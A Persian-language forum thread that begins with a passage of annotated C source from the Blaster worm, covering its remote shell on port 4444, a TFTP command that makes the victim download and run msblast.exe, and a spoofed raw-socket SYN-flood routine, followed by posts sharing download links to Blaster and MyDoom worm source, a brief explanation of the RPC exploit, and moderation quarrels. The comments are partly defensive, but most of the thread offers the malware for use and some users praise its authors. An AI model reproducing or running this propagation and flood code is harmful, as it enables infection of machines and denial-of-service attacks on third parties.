{
//perror("- Send");
return;
}
closesocket(sock);
Sleep(400);
/* ----------------------------------------------*/


/*
* This section of code connects to the victim on port 4444.
* DEFENSE : This means you can block this worm by blocking
* TCP port 4444.
* FAQ: This port is only open for the brief instant needed
* to exploit the victim. Therefore, you can't scan for
* port 4444 in order to find Blaster victims.
*/
if ((fd=socket(AF_INET,SOCK_STREAM,0)) == -1)
return;
memset(&target_ip, 0, sizeof(target_ip));
target_ip.sin_family = AF_INET;
target_ip.sin_port = htons(SHELL_PORT_4444);
target_ip.sin_addr.s_addr = inet_addr(victim_ip);
if (target_ip.sin_addr.s_addr == SOCKET_ERROR)
return;
if (connect(fd, (struct sockaddr*)&target_ip,
sizeof(target_ip)) == SOCKET_ERROR)
return;

/*
* This section recreates the IP address from whatever IP
* address this successfully connected to. In practice,
* the strings "victim_ip" and "target_ip_string" should be
* the same.
*/
memset(target_ip_string, 0, sizeof(target_ip_string));
sizeof_sa = sizeof(sa);
getsockname(fd, (struct sockaddr*)&sa, &sizeof_sa);
sprintf(target_ip_string, "%d.%d.%d.%d",
sa.sin_addr.s_net, sa.sin_addr.s_host,
sa.sin_addr.s_lh, sa.sin_addr.s_impno);

/*
* This section creates a temporary TFTP service that is
* ONLY alive during the period of time that the victim
* needs to download.
* FAQ: You can't scan for TFTP in order to find Blaster
* victims because the port is rarely open.
*/
if (fd_tftp_service)
closesocket(fd_tftp_service);
hThread = CreateThread(0,0,
blaster_tftp_thread,0,0,&ThreadId);
Sleep(80); /*give time for thread to start*/

/*
* This sends the command
* tftp -i 1.2.3.4 GET msblast.exe
* to the victim. The "tftp.exe" program is built into
* Windows. It's intended purpose is to allow users to
* manually update their home wireless access points with
* new software (and other similar tasks). However, it is
* not intended as a generic file-transfer protocol (it
* stands for "trivial-file-transfer-protocol" -- it is
* intended for only trivial tasks). Since a lot of hacker
* exploits use the "tftp.exe" program, a good hardening
* step is to remove/rename it.
*/
sprintf(cmdstr, "tftp -i %s GET %s\n",
target_ip_string, MSBLAST_EXE);
if (send(fd, cmdstr, strlen(cmdstr), 0) <= 0)
goto closesocket_and_return;

/*
* Wait 21 seconds for the victim to request the file, then
* for the file to be delivered via TFTP.
*/
Sleep(1000);
for (i=0; i<10 && is_tftp_running; i++)
Sleep(2000);

/*
* Assume the the transfer is successful, and send the
* command to start executing the newly downloaded program.
* BUFORD: The hacker starts this twice. Again, it
* demonstrates a lock of confidence, so he makes sure it's
* started by doing it twice in slightly different ways.
* Note that the "BILLY" mutex will prevent from actually
* running twice.
*/
sprintf(cmdstr, "start %s\n", MSBLAST_EXE);
if (send(fd, cmdstr, strlen(cmdstr), 0) <= 0)
goto closesocket_and_return;
Sleep(2000);
sprintf(cmdstr, "%s\n", MSBLAST_EXE);
send(fd, cmdstr, strlen(cmdstr), 0);
Sleep(2000);


/*
* This section closes the things started in this procedure
*/
closesocket_and_return:

/* Close the socket for the remote command-prompt that has
* been established to the victim. */
if (fd != 0)
closesocket(fd);

/* Close the TFTP server that was launched above. As noted,
* this means that the TFTP service is not running most of
* the time, so it's not easy to scan for infected systems.
*/
if (is_tftp_running) {
TerminateThread(hThread,0);
closesocket(fd_tftp_service);
is_tftp_running = 0;
}
CloseHandle(hThread);
}


/**
* Convert the name into an IP address. If the IP address
* is formatted in decimal-dot-notation (e.g. 192.2.0.43),
* then return that IP address, otherwise do a DNS lookup
* on the address. Note that in the case of the worm,
* it always gives the string "windowsupdate.com" to this
* function, and since Microsoft turned off that name,
* the DNS lookup will usually fail, so this function
* generally returns -1 (SOCKET_ERROR), which means the
* address 255.255.255.255.
*/
int blaster_resolve_ip(const char *windowsupdate_com)
{
int result;

result = inet_addr(windowsupdate_com);
if (result == SOCKET_ERROR) {
HOSTENT *p_hostent = gethostbyname(windowsupdate_com);
if (p_hostent == NULL)
result = SOCKET_ERROR;
else
result = *p_hostent->h_addr;
}

return result;
}


/*
* This thre
*/
ULONG WINAPI blaster_DoS_thread(LPVOID p)
{
int opt = 1;
int fd;
int target_ip;


/* Lookup the domain-name. Note that no checking is done
* to ensure that the name is valid. Since Microsoft turned
* this off in their domain-name servers, this function now
* returns -1. */
target_ip = blaster_resolve_ip("windowsupdate.com");


/* Create a socket that the worm will blast packets at
* Microsoft from. This is what is known as a "raw" socket.
* So-called "raw-sockets" are ones where packets are
* custom-built by the programmer rather than by the TCP/IP
* stack. Note that raw-sockets were not available in Windows
* until Win2k. A cybersecurity pundit called Microsoft
* "irresponsible" for adding them.
* <http://grc.com/dos/sockettome.htm>
* That's probably an
* unfairly harsh judgement (such sockets are available in
* every other OS), but it's true that it puts the power of
* SYNflood attacks in the hands of lame worm writers. While
* the worm-writer would probably have chosen a different
* DoS, such as Slammer-style UDP floods, it's likely that
* Buford wouldn't have been able to create a SYNflood if
* raw-sockets had not been added to Win2k/WinXP. */
fd = WSASocket(
AF_INET, /*TCP/IP sockets*/
SOCK_RAW, /*Custom TCP/IP headers*/
IPPROTO_RAW,
NULL,
0,
WSA_FLAG_OVERLAPPED
);
if (fd == SOCKET_ERROR)
return 0;

/* Tell the raw-socket that IP headers will be created by the
* programmer rather than the stack. Most raw sockets in
* Windows will also have this option set. */
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL,
(char*)&opt, sizeof(opt)) == SOCKET_ERROR)
return 0;


/* Now do the SYN flood. The worm writer decided to flood
* slowly by putting a 20-millisecond delay between packets
* -- causing only 500 packets/second, or roughly, 200-kbps.
* There are a couple of reasons why the hacker may have
* chosen this.
* 1. SYNfloods are not intended to be bandwidth floods,
* even slow rates are hard to deal with.
* 2. Slammer DoSed both the sender and receiver, therefore
* senders hunted down infected systems and removed
* them. This won't DoS the sender, so people are more
* likely not to care about a few infected machines.
*/
for (;;) {
blaster_send_syn_packet(target_ip, fd);

/* Q: How fast does it send the SYNflood?
* A: About 50 packets/second, where each packet is
* 320-bits in size, for a total of 15-kbps.
* It means that Buford probably intended for
* dialup users to be a big source of the DoS
* attack. He was smart enough to realize that
* faster floods would lead to users discovering
* the worm and turning it off. */
Sleep(20);
}


closesocket(fd);
return 0;
}



/*
* This is a standard TCP/IP checksum algorithm
* that you find all over the web.
*/
int blaster_checksum(const void *bufv, int length)
{
const unsigned short *buf = (const unsigned short *)bufv;
unsigned long result = 0;

while (length > 1) {
result += *(buf++);
length -= sizeof(*buf);
}
if (length) result += *(unsigned char*)buf;
result = (result >> 16) + (result & 0xFFFF);
result += (result >> 16);


char spoofed_src_ip[16];
unsigned short target_port = 80; /*SYNflood web servers*/
struct sockaddr_in to;
struct PSEUDO pseudo;
char buf[60] = {0};
struct TCPHDR tcp;
struct IPHDR ip;
int source_ip;


/* Yet another randomizer-seeding */
srand(GetTickCount());

/* Generate a spoofed source address that is local to the
* current Class B subnet. This is pretty smart of Buford.
* Using just a single IP address allows defenders to turn
* it off on the firewall, whereas choosing a completely
* random IP address would get blocked by egress filters
* (because the source IP would not be in the proper range).
* Randomly choosing nearby IP addresses it probably the
* best way to evade defenses */
sprintf(spoofed_src_ip, "%i.%i.%i.%i",
local_class_a, local_class_b, rand()%255, rand()%255);
source_ip = blaster_resolve_ip(spoofed_src_ip);

/* Build the sockaddr_in structure. Normally, this is what
* the underlying TCP/IP stack uses to build the headers
* from. However, since the DoS attack creates its own
* headers, this step is largely redundent. */
to.sin_family = AF_INET;
to.sin_port = htons(target_port); /*this makes no sense */
to.sin_addr.s_addr = target_ip;

/* Create the IP header */
ip.verlen = 0x45;
ip.totallength = htons(sizeof(ip) + sizeof(tcp));
ip.id = 1;
ip.offset = 0;
ip.ttl = 128;
ip.protocol = IPPROTO_TCP;
ip.checksum = 0; /*for now, set to true value below */
ip.dstaddr = target_ip;

/* Create the TCP header */
tcp.dstport = htons(target_port);
tcp.ackno = 0;
tcp.offset = (unsigned char)(sizeof(tcp)<<4);
tcp.flags = 2; /*TCP_SYN*/
tcp.window = htons(0x4000);
tcp.urgptr = 0;
tcp.checksum = 0; /*for now, set to true value below */

/* Create pseudo header (which copies portions of the IP
* header for TCP checksum calculation).*/
pseudo.dstaddr = ip.dstaddr;
pseudo.padzero = 0;
pseudo.protocol = IPPROTO_TCP;
pseudo.tcplength = htons(sizeof(tcp));

/* Use the source adress chosen above that is close, but
* not the same, as the spreader's IP address */
ip.srcaddr = source_ip;

/* Choose a random source port in the range [1000-19999].*/
tcp.srcport = htons((unsigned short)((rand()%1000)+1000));

/* Choose a random sequence number to start the connection.
* BUG: Buford meant htonl(), not htons(), which means seqno
* will be 15-bits, not 32-bits, i.e. in the range
* [0-32767]. (the Windows rand() function only returns
* 15-bits). */
tcp.seqno = htons((unsigned short)((rand()<<16)|rand()));

pseudo.srcaddr = source_ip;

/* Calculate TCP checksum */
memcpy(buf, &pseudo, sizeof(pseudo));
memcpy(buf+sizeof(pseudo), &tcp, sizeof(tcp));
tcp.checksum = blaster_checksum(buf,
sizeof(pseudo)+sizeof(tcp));

memcpy(buf, &ip, sizeof(ip));
memcpy(buf+sizeof(ip), &tcp, sizeof(tcp));

/* I have no idea what's going on here. The assembly code
* zeroes out a bit of memory near the buffer. I don't know
* if it is trying to zero out a real variable that happens
* to be at the end of the buffer, or if it is trying to zero
* out part of the buffer itself. */
memset(buf+sizeof(ip)+sizeof(tcp), 0,
sizeof(buf)-sizeof(ip)-sizeof(tcp));

/* Major bug here: the worm writer incorrectly calculates the
* IP checksum over the entire packet. This is incorrect --
* the IP checksum is just for the IP header itself, not for
* the TCP header or data. However, Windows fixes the checksum
* anyway, so the bug doesn't appear in the actual packets
* themselves.
*/
ip.checksum = blaster_checksum(buf, sizeof(ip)+sizeof(tcp));

/* Copy the header over again. The reason for this is simply to
* copy over the checksum that was just calculated above, but
* it's easier doing this for the programmer rather than
* figuring out the exact offset where the checksum is
* located */
memcpy(buf, &ip, sizeof(ip));

/* Send the packet */
sendto(fd, buf, sizeof(ip)+sizeof(tcp), 0,
(struct sockaddr*)&to, sizeof(to));
}

منتظر بعدی باشین.
اگه بتونین توضیحات رو بخونین خیلی کمکتون میکنه!
من دیگه حرفی نمیزنم، بقیش با خودتون..
با تشکر

دوباره تاپيك زدي ؟
مگه نميبيني هر چي تاپيك بزني ميان حذف ميكنن ؟
حوصله داري ؟
حيف اين سورس كه اينجا گذاشتي.
وقتي ميان تاپيك قمي رو حذف ميكنن , اين رو هم يه بهونه اي برا حذفش پيدا ميكنن.

بگذريم...
سورس كامل هست ؟

:31:
كسي ميدونه "" for (;;)"" يعني چي ؟
همون for ( ; ; ) بوده كه اين جوري شده ؟
:31:

توجه کردین تاپیک های تخصصی رو همه فقط نگاه میکنن.
ولی تاپیک های آسون رو که ایجاد میکنی، همه به آدم گیر میدن.

:10:به چه نكته اي اشاره كردي :10:
فقط گير دادن راحته !!!
گير را حل كردن هنره :27:


بازم از اين سورس ها داري ؟

لطف كني بذاري عاليه :11:

نقل قول:

---

نوشته شده توسط p d [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

:10:به چه نكته اي اشاره كردي :10:
فقط گير دادن راحته !!!
گير را حل كردن هنره :27:


بازم از اين سورس ها داري ؟

لطف كني بذاري عاليه :11:

---

میگم حالا اگه میخوای یه روز صبر کنیم، شاید یکی اومد بهمون گیر داد!!!
:27::27::27::27::27::21::21::21::21::21::21:

بچه جون این سورس ها رو pub نکن همه جا !!........
این تایپک فقط pd و constantine جواب می دن /...

---

حالا سورس بالا رو کمی توضیح می دم..

خب اول باید ببینیم که این ورم از چه آسیب پذیری استفاده می کند ؟!!!
آسیب پذیری مربوط به باگ RPC می باشد که پورت آن 135 می باشد و ورم ابتدا سعی می کند با کانکت شده به این پورت دسترسی remote بگیره و بعد از ارسال بسته های craft روی این سرویس overflow انجام دهد و EIP را بازنویسی کند و سپس آن را به سمت آدرس shellcode راهنمایی کند ..
برای انتقال خودش به سیستم های دیگر یک TFTP Server روی سیستم هک شده نصب می کند و IP عای دیگر را می گیرد سپس با استفاده از tfpt client ورم را دانلود و اجرا می کنند و در یک تاریخ مشحصی با ارسال بسته های به پورت 80 سایت بیلی حمله ddos انجام می دهد..
tftp هم روی پورت 69 کار می کند..
برای امنیت بیشتر از اسنیفر wireshark استفاده کنید و ترافیک روی شبکه را capture کنید .

قسمت های این ورم به این صورت است :

1 - Exploit
2 - TFTP Server
3 - IP Generation
4 - DDOS Attack Code
5 - Registry Code
چیز خاصی نداره !!

با disable RPC میشه جلوی این حمله را گرفت هرچند بdisable هم نباشه به دلیل dep و پچ شدن سیستم ها دیگر نمی تونه حمله کند...

کد:

---

/*
* The known exploits require the hacker to indicate whether
* the victim is WinXP or Win2k. The worm has to guess. The
* way it guesses is that it chooses randomly. 80% of the time
* it will assume that all victims are WinXP, and 20% of the
* time it will assume all victims are Win2k. This means that
* propogation among Win2k machines will be slowed down by
* the fact Win2k machines are getting DoSed faster than they
* are getting exploited.
*/
winxp1_or_win2k2 = 1;
if ((rand()%10) > 7)
winxp1_or_win2k2 = 2;

---

===================
چون RET Address ها در هر Service Pack و Language سیستم عامل فرق می کند به همین دلیل ورم باید سعی کند سیستم عامل را Detect سپس Exploit را اجرا کند...

عجبی.
کف کرده بودیم.
تا یکی اومد.
این ورم هم کم قدیمی شده، یعنی اصلا دیگه مطرح نیست.
پس حتما مقاله های زیادی تا به حال درباره ی تحلیل و نوع کار کردنش ایجاد شده.
ممنون dsa dsa

ولی من سورس های بیشتری میگذارم.
خوشم میاد وقتی میبینم که همه فقط نگاه میکنن و نظری ندارن.

نقل قول:

---

نوشته شده توسط dsa dsa [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

بچه جون این سورس ها رو pub نکن همه جا

---

======================
اولا اينجا همه جا نيست !!!
======================
دوما
يعني چي pup نكن , كه چي ؟؟؟
ديگه اين به چه كارت مياد ؟
عمرش تموم شد.
======================

اگه بازم داري بزار تا بقيه استفاده كنن.

نظر من هم همینه.
ولی کسی که استفاده نمیکنه!!!
چه فایده؟!
فردا سورس بعدی رو میزارم.
با تشکر

نقل قول:

---

نوشته شده توسط ar.constantine [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

فردا سورس بعدی رو میزارم

---

اگه داري سورس هاي جديد بزار:11:
سورس newfolder رو داري يا "يا حسين " ؟

به نظر شما چطوره سورس کرنل لینوکس رو آپلود کنم.یه کدی بذارم که خودمم نمی فهمم چیه؟توقع دارید همه اضهار نظر کنند.متاسفانه اینجا کسی در حد شما اساتید نیست.از نظرات دو نفری که تو این تاپیک پست میدن معلومه که چه تسلطی روی کد این ویروس دارن.کاش جای مسخره کردن دیگران یه حرف حساب می زدید.

در ضمن عنوان تاپیک ربطی به محتوی نداره.رعایت کنید.

نقل قول:

---

نوشته شده توسط ali zi zeperto [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

به نظر شما چطوره سورس کرنل لینوکس رو آپلود کنم.

---

من شخصا استقبال ميكنم.

نقل قول:

---

متاسفانه اینجا کسی در حد شما اساتید نیست.

---

من همين جا اعلام ميكنم ترم يك دانشگاه هستم و هيچي حاليم نيست:11:

نقل قول:

---

کاش جای مسخره کردن دیگران یه حرف حساب می زدید.

---

دقيقا اشاره كنيد كجاست ؟ من شخصا معذرت ميخوام.
هيچ كسي چنين قصدي نداشته

باز هم اسپم های به درد نخور .
دفعه بعدی تاپیک قفل میشه . اگه کسی در مورد سورس توضیحی داره خوشحال میشیم بشنویم وگرنه خواهشا اسپم ندین .
این قدر به فهم و شعور کاربران فهیم انجمن توهین نکنین .
و ضمنا از قوانین هست که برای اسم تاپیک عنوان مناسبی انتخاب کنین که بدون بازدید از تاپیک محتوای آن برای اشخاص معلوم باشد .

نقل قول:

---

نوشته شده توسط p d [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

:31:
كسي ميدونه "" for (;;)"" يعني چي ؟
همون for ( ; ; ) بوده كه اين جوري شده ؟
:31:

---

اين قدر اسپم شد كه هيچ كس سوال ما رو نديده!!!

آخه سوالتون ناقص افتاده . فکر کنم به جای اون شکلک یه سری کاراکتر هست که به صورت شکلک افتاده . اگه میشه دستور رو کامل بنویسین .

بله من خم همين رو ميگم .
سورس اصلي رو نگاه كنيد.

]

شكلك جز سورس شده .:31:
جاي اين شكلك چي بوده ؟
حلقه for( ; ; ) بوده ؟

احتمالا همين بوده

بله همین هست که شما می گین . کد این شکلک یدونه پرانتز و یدونه سمی کالن هست .

:10:...
سورس ویروس newfolder به چند زبان موجود می باشد من رفیقم با c++ نوشته با vb هم نوشته شده است..
بعد هم اینکه سطح این سورس p d پیشرفته هست و در آن از مباحث Assembly/shellcode/socket و... استفاده شده است ؟؟ آیا شما به تمامی این مباحث تسلط دارید ؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟

پی اول باید از کدهای سبک و مفاهیم پایه ای شروع کرد..

10 سال دیگه بعضی ها میان می گن چه اشتباهی کردیم و عمرمونو با این کارها تلف کردیم..

اگه مسلط بودم كه بيكار نميشستم:46:
در ضمن شما رفيقتون مسلط هست , چه به شما ...:31:
اصلا بيخيل به كارم نمياد:11:

مچکر از گذاشتن سورس به زبان سی که مسلما خالی از توفیق نیست.
جناب کنستانتین لطف کردند.

اما نکته ای هست :
دوستان سورس ویروس چیزی نیست که خیلی پپرایوت باشه مگر سورس های خیلی تازه و داغ داغ! وگرنه خیلی اوقات سورس ها رو بعد از مدتی میشه با جستجو پیدا کرد.(مخصوصا اگر در انجمن های مربوطه عضو باشی!) اما چیزی که هست بیشتر موقع ها این سورس ها کار نمیکنه چون اون کسی که میزارتشون عقلش میرسه و چند جای سورس رو جوری عوض میکنه که فقط انسان های اهل دل(برنامه نویسان مجرد(ب)!) بتونن بفهمن!
البته این موضوع در مورد سورس هایی که برای shell گیری ها بیرون داده میشه نیز صدق میگنه و خیلی خیلی ملموس تره.

این ها رو گفتم چون احساس کردم نیاز به دونستنش هست

باز من یه پست دادم، حذف شد.
بله حقیقت تلخه.
هر کاری دوست داری بکن.
آقای [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ] فکر کردی کی هستی که هی پست ها رو پاک میکنی.
میخوای تاپیک رو قفل کنی، اخراجم کنی، یا بهم اخطار بدی بده.
هر کاری حال میکنی انجام بده.
جالبه یه اخطار به من دادن به علت نامعلوم.(خودش نوشته)
چیه سوختی.
چرا به تو فشار اومده.
!!!!!

نقل قول:

---

نوشته شده توسط ar.constantine [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

باز من یه پست دادم، حذف شد.
بله حقیقت تلخه.
هر کاری دوست داری بکن.
آقای [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ] فکر کردی کی هستی که هی پست ها رو پاک میکنی.
میخوای تاپیک رو قفل کنی، اخراجم کنی، یا بهم اخطار بدی بده.
هر کاری حال میکنی انجام بده.
جالبه یه اخطار به من دادن به علت نامعلوم.(خودش نوشته)
چیه سوختی.
چرا به تو فشار اومده.
!!!!!

---

واقعیتش چیزی که من از شما دیدم پست های بی دلیل و بی مورد بود!
جدیدا دارین پست های مثلا مفید میدید که هم شما هم من میدونیم که اینجور پست ها رو تو یه دقیقه میشه 100 داد!
فقط گذاشتن لینک و....

بعدش 100 برابر حجو در انجمن! ما که میخوایم پست ها رو بخونیم همش با پست های (اظهار وجود) شما مواجه میشیم.
به هرکی دلت میخواد توهین میکنی، هر پستی میخوای میدی، هر دروغی میخوای میگی! . بقیه هم تو این انجمن عضو هستن و اومدن که یاد بگیرن. نه به آواتار زیبای شما و حرف های از اون زیباترت توجه کنن.

مدیر یک اختار بیدلیل به شما نداد! شما بیدلیل انجمن رو داری به گند میکشی
ببین من تو هیچ قسمتی از p30 ورلد به اندازه ی اینجا پست نمیدم، چون اینجا از همه بیشتر به پست دادن نیاز داره!

اما نه به پست های آفتابه لگنی.

خواهشا نگو شما که مدیر نیستی حرف نزن، من هم به عنوان یک عضو حق دارم به شما اعتراض کنم.

همین و بس.
(مدیر محترم نسبت به پاک کردن این پست مختار هستند! البته من این رو نمینوشتم هم مختار بودند!!!!)

با سلام
میشه فایل سورس رو آپلود کنید.
با تشکر.

خير امكانش نيست!!!
چون ايشون اخراج شدن. مگر اين كه در خواست بازگشتش رو داشته باشند, كه بسيار بعيده:31:
لطفا ديگه , پست نديد.

نقل قول:

---

نوشته شده توسط 8086 [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

با سلام
میشه فایل سورس رو آپلود کنید.
با تشکر.

---

سلام دوست مهربان! به انجمن خوش اومدی!اوقات خوشی رو برات آرزو میکنم و غیره!

راستش این لینک رو من تو رپید پیدا کردم:

کد:

---

http://rapidshare.com/files/130693820/Blaster.zi

---

البته این با لینک اولین پست فرق داره.
موفق و موید باشی.

آرمان

نقل قول:

---

نوشته شده توسط 8086 [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

با سلام
میشه فایل سورس رو آپلود کنید.
با تشکر.

---

نقل قول:

---

نوشته شده توسط p d [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

خير امكانش نيست!!!
چون ايشون اخراج شدن. مگر اين كه در خواست بازگشتش رو داشته باشند, كه بسيار بعيده:31:
لطفا ديگه , پست نديد.

---

بله امکانش هست دوست عزیز . همون طوری که جناب Arman_BM لطف فرمودن و این کارو انجام دادن . فقط جسارتا به انتهای لینک ایشون حرف p رو هم اضافه کنین و دانلود کنین .
موفق باشین .......

با سلام
مثل اینکه این آقای [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ] اومدن این پست من رو دیدن، چون لینک زیر رو برای من فرستاده بود و گفته بودند بزارم تو تاپیک.

کد:

---

http://www.4shared.com/file/194828888/b3a8210b/blaster.html

---

با تشکر

نقل قول:

---

نوشته شده توسط Arman_BM [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

سلام دوست مهربان! به انجمن خوش اومدی!اوقات خوشی رو برات آرزو میکنم و غیره!

راستش این لینک رو من تو رپید پیدا کردم:

کد:

---

http://rapidshare.com/files/130693820/Blaster.zi

---

البته این با لینک اولین پست فرق داره.
موفق و موید باشی.

آرمان

---

سلام
این لینک مشکل دارد؟!
من نمیدونم چرا نمیتونم دانلودش کنم!!!
با تشکر
:11:

نقل قول:

---

نوشته شده توسط 8086 [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

سلام
این لینک مشکل دارد؟!
من نمیدونم چرا نمیتونم دانلودش کنم!!!
با تشکر
:11:

---

سلام .
تو پست های قبلی گفتم که . به آخرش یدونه p اضافه کنین . یعنی این لینک :

کد:

---

http://rapidshare.com/files/130693820/Blaster.zip

---

با سلام
اين هم سورس ويروس MyDoom

اين سورس تشكيل شده از قسمت هاي:

work
bin2c.c
cleanpe.cpp
crypt1.c
rot13.c
stub.exe

xproxy
client.c
makefile
xproxy.c

_Main_Dir_
_readme.txt
lib.c
lib.h
main.c
makefile
massmail.c
massmail.h
msg.c
msg.h
p2p.c
resource.ico
resource.rc
scan.c
scan.h
sco.c
sco.h
xdns.c
xdns.h
xsmtp.c
xsmtp.h
zipstore.c
zipstore.h

از لينك زير دانلود كنيد:

کد:

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http://www.4shared.com/file/213495184/687866e6/MyDoom_Source.html

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با تشكر

ضمن تشكر از 8086 :11:
___
mydoom .am :
كرمي هست كه پردازش هاي متعلق به ابزار هاي امنيتي خاص رو قطع ميكنه=> الودگي سيستم را ميسر ميكنه برا بقيه.
جالب اين كه مانع فعاليت هاي كرمهاي netsky,bagle,sobug,blaster ميشه.
خودش رو از طريق پيغام هاي ايميل پخش ميكنه.
___
mydoom.g:
اينم از طريق ايميل پخش ميشه.
حملات ddos رو عليه symantec.com شروع ميكنه, هر 1024 l\ميلي ثانيه انجام ميده.
اين كرم با زبان شيرينه(:31:) asm نوشته شده و اندازش 29696 بايت هست.
___
دمه اين نويسندگان گرم باد.
كارشون خيلي درسته.

با سلام
اين هم آناليز سورس MyDoom:
از لينك زير دانلود كنيد:

کد:

---

http://www.4shared.com/file/214086878/9864f74b/mydoomanalysis.html

---

با تشكر

با سلام
كسي آناليز اين ويروس رو به زبان فارسي داره؟
با تشكر

سرچ کنی هست !!
این من خودم قدیما تحلیش کردم چیزه خاصی نداره !!
کجاشو می خواهی آنالیز کنی ؟؟
tftp server
exploit code
payload ؟؟

؟؟

نقل قول:

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نوشته شده توسط dsa dsa [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

سرچ کنی هست !!
این من خودم قدیما تحلیش کردم چیزه خاصی نداره !!
کجاشو می خواهی آنالیز کنی ؟؟
tftp server
exploit code
payload ؟؟

؟؟

---

با سلام
شما pdf آناليز اين سورس رو به زبان فارسي نداري؟
با تشكر

ظاهرا حرفاتون برا این تاپیک تموم شد .
تاپیک قفل میشه .